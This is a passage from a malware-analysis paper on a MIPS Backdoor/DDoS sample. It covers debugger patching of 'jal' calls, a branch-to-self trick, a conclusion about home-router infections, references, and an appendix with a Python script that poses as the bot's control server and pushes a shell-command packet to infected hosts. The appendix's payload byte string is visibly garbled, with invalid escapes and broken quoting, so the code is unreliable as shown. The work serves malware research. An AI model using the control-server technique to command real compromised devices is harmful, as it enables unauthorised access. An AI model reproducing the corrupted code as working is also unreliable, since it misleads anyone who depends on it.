```

Figure 33: Start address of ‘_Z8SendInfoPv’ function

Hence, the Operand Address with the ‘jal’ command is calculated as:

\[
\text{Operand Address} = 0x0040977C/4 = 0x1025DF \& \text{0x03FFFFFF} = 0x1025DF
\]
Thus, prepending the above value (0x1025DF) to the ‘jal’ instruction code (‘0x0C’) as in ‘DF 25 10 0C’ results in a call to the target function at the given address and is resolved by IDA Pro as “jal _Z8SendInfoPv” that is shown in Figure 32 above. By modifying the pthread calls, the thread functions can be analyzed without causing termination of the debugging session.

### 4.1 Jump to Self

When debugging malware on the x86 platform, a commonly useful instruction is ‘Jump to Self’ or 0xEBFE. This instruction is typically used when a researcher wants to pause code execution at a certain point while the debugger is not attached to it -- for example, in the case of code injection into a suspended process. With various tests it has been determined that on the 32-bit Little Endian MIPS platform, a jump instruction can be modified to ‘FF FF 00 10’ that causes it to branch-to-self.

### 5. Conclusion

In this paper, we have discussed debugging and code analysis of a Backdoor/DDoS malware sample for the MIPS architecture. The Spike DDoS malware supports various DDoS functions as well as allows the execution of Shell commands. In our research, we have observed that a majority of the malware for the MIPS platform, including a known APT malware, focus on DDoS functionality. Moreover, backdoor access, modification of DNS settings, and other spying mechanisms have also been used by some of these malware. These functionalities can be effectively leveraged by cyber criminals as well as nation-state actors to achieve their various agendas.

The current state of security for the majority of home routers lacks the fundamental mechanisms of scanning and eradicating malicious programs. Moreover, the awareness among end-users regarding the possible malicious usage of their network devices is minimal. As such, an infected home router often remains infected until replaced. This requires that Anti-Virus products, in addition to PCs and laptops, protect other home network devices as well. Both network device vendors and AV vendors need to provide

M. J. Bohio, mjbohio@gmail.com
mechanisms for auto-updating their devices’ firmware and eradicating malicious programs from them as well. This could perhaps help in minimizing these agents of DDoS and other malicious activities.
6. References


M. J. Bohio, mjbohio@gmail.com
Analysis of a MIPS Malware

M. J. Bohio, mjbohio@gmail.com

http://www.symantec.com/connect/blogs/iot-worm-used-mine-cryptocurrency

Infodox (2011). Hydra IRC bot, the 25 minute overview of the kit. Retrieved from
http://insecurety.net/?p=90


MIPS architecture. (n.d.). In Nikochan SGI Wiki. Retrieved February 9, 2015, from
http://www.nekochan.net/wiki/MIPS_architecture

MIPS instruction set. (n.d.). In Wikipedia. Retrieved February 9, 2015, from

Psyb0t. (2013). In Wikipedia. Retrieved February 9, 2015, from
http://en.wikipedia.org/wiki/Psyb0t

https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630

Ullrich, J. (2014b). More Device Malware: This is why your DVR attacked my Synology Disk Station (and now with Bitcoin Miner!). Retrieved from
https://isc2.sans.org/forums/diary/More+Device+Malware+This+is+why+your+DVR+attacked+my+Synology+Disk+Station+and+now+with+Bitcoin+Miner/17879

Võsandi, L. (2013). Compiling C code for MIPS and running it on x86. Retrieved from

M. J. Bohio, mjbohio@gmail.com
Appendix A

The following script was used to listen for the malware’s message containing system information. It then sends a shell command to execute on the infected system. The malware traffic was redirected by modifying the IP address of the secondary control server that is shown in Figure 14.

```python
import socket, re, sys, thread

def sendCmd(botconn, botaddr, shellcmd):
    data = botconn.recv(1024)
    if re.search("VERSONEX", data):
        botconn.sendall(shellcmd)
    botconn.close()

if __name__ == "__main__":

    HOST=""
    PORT=48080
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.bind((HOST, PORT))
    except:
        print "\nBind failed!"
        sys.exit()
    s.listen(2)

    shellcmd =
"\x05\x00\x00\x00\x72\xf8\xf8\xe64\xe86\xe86\xe98\xe16\xda4\xda4\xe5c\xecc" + \n"\x06\xda\xe6d\xda\x01\x00\x00\x00\xe25\xe97\xe2b\xe29\xe92\xda0\xe00" + \n"\x04\xda\xeb\xda\x6d\xda\x01\xda9\xe95\xe7c\xe48\xda0\xda0\xda9\xe96\xe95\xe7c" + \n"\x00\xda0\xda0\xda0\xda0\xda8\xe92\xda0\xda0\xda0\xda6\xda0\xda0\xda9\xe95\xe95\xe7c" + \n```

M. J. Bohio, mjbohio@gmail.com
M. J. Bohio, mjbohio@gmail.com

Analysis of a MIPS Malware

```
x00\x00\x00\x00\x78\x01\xda\x00\xc4\x00\x00\x00\x87\xf2\xc2\xce + \\
x05\x00\x00\x00\x96\xac\x74\xe2\x00\x00\x00\x00\x00\xac\xea\x6d\x01 + \\
x01\xe3\xda\x00\x00\x00\x00\x00\x48\xc6\xda\x00\x20\x01\x00\x00 + \\
x78\x01\x00\x00\x00\x00\xda\x00\x00\xb4\xe8\x6d\x01\x00\x00\x00 + \\
x06\xe6\xda\x01\xe0\x80\x95\x7c\x70\x9f\x95\x7c\xff\xff\xff\xff + \\
x9c\x9f\x95\x7c\x7d\x47\x45\x00\x01\x00\x00\x00\x00\x00\x00 + \\
x6c\x9f\x95\x7c\x3a\x45\x00\x20\xa3\xda\x00\xb4\x84\x4a\x00 + \\
x01\x00\x00\x00\x00\xc4\xda\xe2\x77\x08\x19\xe2\x77\x8e\x00\x01 + \\
x06\x10\x00\x00\x00\x00\x00\x64\xe6\xda\x01\x00\x00\x00 + \\
xb0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x10\x00 + \\
x0d\xda\x06\xda\x00\x8e\x00\x01\x00\xa8\x06\x4c\x00\xe4\xda\x6d\x01 + \\
x8c\xda\x01\x77\xda\xda\xda\xe2\x77\xda\xda\xda\xda\x08\x19 + \\
x8c\xda\xda\x01\xda0 + \\
"echo "Shell command 0x05 test" > /home/username/shellcmd.txt" + \\
x00\x00\x00\x00\x00\xda\xda\xda\xe2\x77\x9c\x18\xe2\x77\xda\xda\xda\xda + \\
x0f\x00\x00\x00\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda + \\
x0b\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda + \\
x0d\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda + \\
x09\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda\xda + \\
x00\x00\x00\x00\xda0
while 1:
    botconn, botaddr = s.accept()
    thread.start_new_thread(sendCmd, (botconn, botaddr, shellcmd))
    s.close()
```